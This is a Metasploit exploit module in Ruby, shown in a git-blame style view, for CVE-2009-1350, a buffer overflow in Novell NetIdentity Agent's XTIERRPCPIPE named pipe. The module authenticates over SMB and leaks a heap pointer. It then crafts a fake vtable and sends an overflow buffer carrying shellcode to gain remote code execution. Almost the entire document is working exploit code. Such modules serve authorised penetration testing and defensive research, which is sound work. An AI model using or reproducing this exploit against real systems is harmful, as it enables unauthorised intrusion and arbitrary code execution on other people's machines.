2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2009-07-21 01:04:48 +00:00
|
|
|
##
|
2009-11-16 15:20:50 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-07-21 01:04:48 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-07-21 01:04:48 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2009-07-21 01:04:48 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2009-11-16 15:20:50 +00:00
|
|
|
super(update_info(info,
|
2010-11-24 19:35:38 +00:00
|
|
|
'Name' => 'Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow',
|
2009-07-21 01:04:48 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending
|
2009-07-21 01:04:48 +00:00
|
|
|
a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be
|
|
|
|
able to execute arbitrary code. The success of this module is much greater once the
|
|
|
|
service has been restarted.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC', 'Ruben Santamarta' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-07-23 02:55:51 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-07-21 01:04:48 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-1350' ],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '53351' ],
|
2009-07-21 01:04:48 +00:00
|
|
|
[ 'BID', '34400' ],
|
|
|
|
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=62&Itemid=1' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process', # only one shot!
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 550,
|
|
|
|
'BadChars' => "\x00\x09\x0c\x0b\x20\x0a\x0d\x5c\x5f\x2f\x2e\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'PrependEncoder' => "\x81\xe4\xf0\xff\xff\xff",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 / Windows XP / Windows 2003', { 'Ret' => 0x41414141 } ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'Apr 6 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit']),
|
|
|
|
OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit'])
|
|
|
|
], self.class )
|
2009-07-21 01:04:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def mem_leak
|
|
|
|
print_status("Connecting to the server...")
|
|
|
|
connect()
|
|
|
|
|
|
|
|
print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")
|
2009-11-16 15:20:50 +00:00
|
|
|
|
2009-07-21 01:04:48 +00:00
|
|
|
begin
|
|
|
|
smb_login()
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error: #{e}")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Connecting to named pipe \\XTIERRPCPIPE...")
|
|
|
|
|
|
|
|
# If the pipe doesn't exist, bail.
|
|
|
|
begin
|
|
|
|
pipe = simple.create_pipe('\\XTIERRPCPIPE')
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error: #{e}")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# If we get this far, do the dance.
|
|
|
|
fid = pipe.file_id
|
|
|
|
|
|
|
|
# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
|
|
|
|
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
|
|
|
|
|
2009-11-16 15:20:50 +00:00
|
|
|
# Send the first request to get our pointer.
|
2009-07-21 01:04:48 +00:00
|
|
|
leak = [0x00000004].pack('V') + [0x00000818].pack('V')
|
|
|
|
leak << rand_text_alpha_upper(2040)
|
|
|
|
|
|
|
|
print_status("Sending malformed request...")
|
|
|
|
pipe.write(leak)
|
|
|
|
|
|
|
|
heap_pointer_leaked = pipe.read()[2060,4].unpack('V')[0]
|
|
|
|
print_status(sprintf("Heap Pointer leaked: 0x%.8x", heap_pointer_leaked))
|
|
|
|
|
|
|
|
print_status("Building fake VTable...")
|
|
|
|
object = heap_pointer_leaked + 0x700
|
|
|
|
print_status(sprintf("Object: 0x%.8x", object))
|
|
|
|
method = object + 0x30
|
|
|
|
print_status(sprintf("Method: 0x%.8x", method))
|
|
|
|
shellcode = method + 0xA0
|
|
|
|
print_status(sprintf("Shellcode: 0x%.8x", shellcode))
|
2009-11-16 15:20:50 +00:00
|
|
|
|
2009-07-21 01:04:48 +00:00
|
|
|
pipe.close
|
2009-10-25 16:40:19 +00:00
|
|
|
|
2009-11-16 15:20:50 +00:00
|
|
|
return heap_pointer_leaked,object,method,shellcode
|
2009-07-21 01:04:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
heap_pointer_leaked,object,method,shellcode = mem_leak()
|
|
|
|
|
2009-11-16 15:20:50 +00:00
|
|
|
return if not shellcode
|
|
|
|
|
|
|
|
sploit = [0x00000002].pack('V')
|
|
|
|
sploit << [0x00000000].pack('V')
|
|
|
|
sploit << [object].pack('V')
|
2009-07-21 01:04:48 +00:00
|
|
|
sploit << [0x00000000].pack('V')
|
|
|
|
sploit << rand_text_alpha_upper(240)
|
|
|
|
sploit << [object].pack('V') * 32
|
2009-11-16 15:20:50 +00:00
|
|
|
sploit << [method].pack('V') * 32
|
|
|
|
sploit << [shellcode].pack('V') * 32
|
|
|
|
sploit << make_nops(748)
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << rand_text_alpha_upper(110)
|
2009-07-21 01:04:48 +00:00
|
|
|
|
|
|
|
print_status("Connecting to the server...")
|
|
|
|
connect()
|
|
|
|
|
|
|
|
print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")
|
2009-11-16 15:20:50 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
begin
|
|
|
|
smb_login()
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error: #{e}")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Connecting to named pipe \\XTIERRPCPIPE...")
|
|
|
|
|
|
|
|
# If the pipe doesn't exist, bail.
|
|
|
|
begin
|
|
|
|
pipe = simple.create_pipe('\\XTIERRPCPIPE')
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error: #{e}")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
2009-07-21 01:04:48 +00:00
|
|
|
|
|
|
|
# ok, set up and send our exploit buffer...
|
|
|
|
fid = pipe.file_id
|
|
|
|
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
|
|
|
|
print_status("#{sploit.length} bytes written...")
|
|
|
|
pipe.write(sploit)
|
2009-11-16 15:20:50 +00:00
|
|
|
|
2009-07-21 01:04:48 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|